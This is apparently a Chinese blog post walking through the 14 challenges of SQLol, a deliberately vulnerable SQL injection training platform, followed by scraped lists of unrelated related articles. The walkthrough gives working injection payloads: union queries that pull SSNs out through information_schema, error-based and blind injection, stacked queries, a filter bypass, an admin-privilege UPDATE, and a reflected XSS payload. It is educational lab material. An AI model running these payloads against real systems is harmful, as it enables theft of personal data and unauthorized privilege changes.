SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破。
Challenge 0
目的是让查询返回所有的用户名,而不是只有一个。
SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC
注入点在【1】处
构造POC: 1' or 1=1# 或者 1' and 1=2 union select username from users#
都可以查询到所有的用户名。
Challenge 1
目标是找到数据库中存在的社会安全号码表并提取信息。
SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC
注入点在【1】处,我们需要知道有哪些表哪些字段,才能找出所想要的信息,为此,我们使用information_schema进行查表查列。
构造POC:
查出数据库所有的库, ' and 1=2 UNION SELECT table_schema FROM information_schema.tables#
选择sqlol库查表, ' and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='sqlol'#
选择表,查列, ' and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name='ssn'#
选择字段,查数据, ' UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
到此,已经得到所想要的信息。
Challenge 2
目标是找到数据库中存在的社会安全号码表并提取信息。
SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC
注入点在【1】处,与challenge1类似,所不同的,这是数字型注入,过滤单引号。
构造POC:
查出数据库所有的库,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#
选择sqlol库查表, 1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex编码)
选择表,查列, 1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex编码)
选择字段,查数据, 1 and 1=2 UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
到此,已经得到所想要的信息。
Challenge 3
目标是找到数据库中存在的社会安全号码表并提取信息。
无提示,只输出一行,详细错误信息,查询不显示,与challenge 1类似。
构造POC:
' UNION SELECT concat(name,':',ssn) FROM ssn LIMIT 0,1
Challenge 4
目的是找出数据库中存在的社会安全号码表,并提取其信息,无盲SQL注入技术。
提示,有详细的错误,可以使用报错注入
构造POC:
' and extractvalue(1, concat(0x5c,(select user())))#
' AND ExtractValue(1,concat(0x01,(select concat(name,':',ssn) from ssn limit 0,1)))#
Challenge 5
目标是找到数据库中存在的社会安全号码表并提取信息。
提示,使用盲注,无输入错误信息
构造POC:
得到数据库的长度: 1' or length(database())=5#
逐字猜解ascii码: 1' or ascii(mid(database(),1,1))=115#
慢慢猜,总会猜出来的,大致方法就这个。
Challenge 6
目标是创建一个新表称为“ipwntyourdb”使用堆叠的查询。
构造POC:
SELECT username FROM users WHERE username = 'Herp Derper';create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC
Challenge 7
目标是找到数据库中存在的社会安全号码表,并从数据库中删除任何内容,以提取其信息。
提示:删除,报错,查询不显示
POC:
DELETE FROM users WHERE username = '' or updatexml(1,concat(0x7e,(version()),0x7e),0) or''
Challenge 8
目标找到数据库中存在的社会安全号码表并提取信息。
提示:有黑名单过滤,需绕过,过滤了union,select,where,and,or,--,#等字符。
POC:
' uNion seLect concat(name,':',ssn) from ssn uNion selEct null from users whEre username='
Challenge 9
目的是注入查询并导致其更新ID为3的用户”isadmin”更改为1。
UPDATE users SET isadmin = 1 WHERE id = 3
如何把这句拼接到原有注入点,并执行成功呢?
POC:
UPDATE users SET username = 'admin', isadmin = 1 WHERE id = 3#
更新ID为3的username为admin,并把isadmin改为1.
Challenge 10
目标是从数据库中获取社会安全号码。
提示:注入点在【1】处,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
POC:
seLect concat(name,':',ssn) from ssn#
Challenge 11
目标是从数据库中获取社会安全号码。
POC:
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC
Challenge 12
目的是使用一个SQL注入漏洞执行反射跨站脚本攻击。
POC:
1' and <script>alert(11)</script>#
SELECT username FROM users WHERE username = ' 1' and <script>alert(11)</script>#' GROUP BY username ORDER BY username ASC
执行过程中,会报错,弹窗,然后提示如下:
SELECT username FROM users WHERE username = '1' and #' GROUP BY username ORDER BY username ASC
JavaScript脚本已经成功在浏览器运行。
Challenge 13
目的是从数据库检索所有的用户名。
POC:
在没有过滤单引号的情况下:select username from users where username LIKE '2' or 1=1
过滤了单引号:
通过模糊查询的方法来盲注,
%,表示任意0个或多个字符
_,表示任意单个字符
[],表示字符括号中所列字符的一个
[^],不在这里的所列字符
根据页面返回是否正确得到判断。
1、得到username的一个首字符
select username from users where username LIKE 'P%' LIMIT 0,1
2、判断以P开头的首字符有几位
select username from users where username LIKE 'P__________' LIMIT 0,1
3、接着往下猜解呗。。。。
SQL注入测试平台 SQLol -6.CHALLENGES挑战的更多相关文章
- SQL注入测试平台 SQLol -1. 简介与安装
最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...
- SQL注入测试平台 SQLol -2.SELECT注入测试
前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...
- SQL注入测试平台 SQLol -3.INSERT注入测试
访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...
- SQL注入测试平台 SQLol -5.DELETE注入测试
访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...
- SQL注入测试平台 SQLol -4.UPDATE注入测试
访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...
- java web sql注入测试(1)---概念概述
在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...
- sql注入测试(1)---概念概述
在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...
- java web sql注入测试(3)---现象分析
那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用 ...
- sql注入测试(3)---现象分析
那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用 ...
随机推荐
- select2 插件
官网:http://select2.github.io/ Select2是基于jQuery的一个插件,没有引用jQuery,是没有效果的 1.在实现给select2添加placeholder效果的 ...
- 自定义ImageView
package com.example.myimageview; import android.content.Context;import android.graphics.Bitmap;impor ...
- [C/C++]C/C++相关网站
1.http://en.cppreference.com What is the purpose of this site? Our goal is to provide programmers wi ...
- vmware 下的linux的host only上网配置
1.首先在Vm中将网络设置为Host-only. 2.在windows下,打开网络邻居,会见到如下界面,其中负责联网的是本地连接,Vm1是host-only连接,VM2是Nat连接方式,首先将VM1. ...
- SharePoint 2013 开发——SharePoint APP介绍
博客地址:http://blog.csdn.net/FoxDave 新的APP模型让我们能够创建看起来像是SharePoint的一部分的应用程序,但是它完全运行在独立于SharePoint服务器 ...
- Oracle Data Integrator 12c (12.1.2)新特性
改进特性如下: 基于流程界面的声明式设计 在12c中,以前的接口(interface)已经改为映射(mapping),新的基于流程声明的设计方式更灵活,也更容易使用.在12c中,映射的实现是通过使用J ...
- linux下磁盘进行分区、文件系统创建、挂载和卸载
任务的原因:由于,刚购买来的服务器需要将磁盘挂载到操作系统上,为了挂载磁盘首先要对磁盘进行分区,然后进行文件系统的创建,最后将磁盘挂载到操作系统上的某个目录. MBR(Master Boot Reco ...
- 详解模块定义(.def)文件
一个完整的Windows应用程序(C++程序)通常由五种类型的文件组成:源程序文件,头文件,资源描述文件,项目文件,模块定义文件.本文主要讲解模块定义文件. 模块定义 (.def)文件为链接器提供有关 ...
- 关于WinForm引用WPF窗体---在Winform窗体中使用WPF控件
项目中有个界面展示用WPF实现起来比较简单,并且能提供更酷炫的效果,但是在WinForm中使用WPF窗体出现了问题,在网上找了一下有些人说Winform不能引用WPF的窗体,我就很纳闷,Win32都能 ...
- 控制HTML的input控件的输入内容
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head ...